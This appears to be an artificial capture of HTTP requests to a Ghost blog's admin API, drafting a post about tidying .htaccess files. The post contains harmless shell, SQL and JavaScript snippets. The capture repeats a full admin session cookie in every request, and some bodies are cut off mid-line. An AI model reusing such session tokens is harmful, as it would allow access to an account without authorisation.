{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&fields=id%2Curl%2Ctitle%2Cvisibility%2Cpublished_at&order=published_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-filesa-short-guide-for-site-owners-powershell-python3-and-the-shell-getting-started-run-ls-la-in-your-web-root-then-open-the-htaccess-guide-on-windows-use-powershell-instead-its-the-same-idea-a-small-script-usr-bin-env-python3-import-os-subprocess-for-name-in-sorted-os-listdir-print-name-subprocess-run-ls-la-var-www-html-check-true-cat-etc-hosts-grep-example-ls-la-var-www-html-htaccess-chmod-644-htaccess-mysql-e-select-id-title-from-posts-where-status-published-order-by-id-desc-limit-5-document-queryselectorall-a-foreach-a-gt-console-log-a-href-window-onload-gt-alert-ready-keep-your-htaccess-small-said-one-reader-and-python3-agrees-python3-m-venv-venv-amp-amp-source-venv-bin-activatepowershell-executionpolicy-bypass-file-build-ps1edit-etc-nginx-sites-available-default-then-reload-back-up-wp-config-php-and-envrun-rm-rf-cache-questions-email-help-example-com-or-see-the-search-page/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/slugs/post/using-python3-and-ls-la-to-tidy-htaccess-files/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 509", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/newsletters/?limit=all&include=count.active_members", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?filter=&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af45887d281b00001a59965/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 511", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af458a5d281b00001a59969/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 339", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCPTDGrlBBdJzmvpK", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryCPTDGrlBBdJzmvpK\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n------WebKitFormBoundaryCPTDGrlBBdJzmvpK--\r\n"}
|
||||||
|
{"method": "GET", "target": "/content/images/2026/11/photo.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 6796", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8008", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
|
||||||
|
{"method": "GET", "target": "/ghost/assets/posts-route-h3vCXYi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/posts-list-screen-DaiQl198.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/container-D71ORA1Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/hover-card-Cnz0ewmR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/filters-BcpL-PeQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/filter-bar-D1e2wPCO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-reveal-on-mount-BnFofzIX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-email-sending-status-CbZSbPwi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-sending-eta-ifdScs48.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/nql-BKk2g5D7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/nql-lang-BhvCNMUQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
